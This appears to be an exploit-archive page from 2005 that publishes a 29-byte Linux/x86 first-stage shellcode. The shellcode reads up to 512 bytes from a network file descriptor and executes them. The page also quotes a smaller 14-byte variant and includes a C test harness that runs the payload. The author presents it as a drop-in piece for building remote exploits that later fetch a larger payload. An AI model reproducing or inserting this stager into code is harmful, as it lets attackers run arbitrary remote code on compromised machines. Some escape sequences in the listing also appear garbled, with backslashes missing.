[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 if(read(fd,buf,512)<=2) _exit(1) else buf(); 29 bytes
# Published : 2005-11-09
# Author : Charles Stevenson
# Previous Title : linux/x86 _exit(1); 7 bytes
# Next Title : win32 Beep Shellcode (SP1/SP2) 35 bytes
/* h3ll-core.c by Charles Stevenson <core@bokeoa.com>
*
* I made this as a chunk you can paste in to make modular remote
* exploits. I use it as a first stage payload when I desire to
* follow up with a real large payload of goodness. This actually
* is a bit larger than necessary because of the error checking but
* in some cases prooves nice. For a tiny version of the same theme
* check out mcb's 14 byte (saving of 15 bytes for all you
* mathematician's out there ;). The only problem might be that his
* reads from stdin and can only reads 385 bytes less than mine. So
* If you like to go big on the shellcode use mine... otherwise here's
* mcb's (or comment out the delimited lines below to shrink mine):
*
* "x6ax03x58x31xdbx6ax7fx5ax89xe1xcdx80xffxe4"
*
* I assume the file descriptor is in %esi. Since that's where it
* was on the last exploit I wrote. Change the instruction to
* the appropriate register from your fndsckcode or put an int in
* there for and fd that's always the same.
*/
char hellcode[] = /* if(read(fd,buf,512)<=2) _exit(1) else buf(); linux/x86 by core */
// uncomment the following line to raise SIGTRAP in gdb
// "xcc" // int3
// 22 bytes:
// if (read(fd,buf,512) <= 0x2) _exit(1) else buf();
"x31xdb" // xor %ebx,%ebx
"xf7xe3" // mul %ebx
"x42" // inc %edx
"xc1xe2x09" // shl $0x9,%edx
"x31xf3" // xor %esi,%ebx // (optional assumes fd in esi)
"x04x03" // add $0x3,%al
"x54" // push %esp
"x59" // pop %ecx
"xcdx80" // int $0x80
"x3cx02" // cmp $0x02,%al // (optional error check)
"x7ex02" // jle exit // (optional exit clean)
"xffxe1" // jmp *%ecx
// 7 bytes _exit(1) (optional _exit(1);)
"x31xc0" // xor %eax,%eax
"x40" // inc %eax
"x89xc3" // mov %eax,%ebx
"xcdx80" // int $0x80
;
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte if(read(fd,buf,512)<=2) _exit(1) else buf(); linux/x86 by corentNOTE: w/optional 11 bytes check and exit (recommend unless no room)n",
strlen(hellcode));
shell();
return 0;
}
// www.Syue.com [2005-11-09]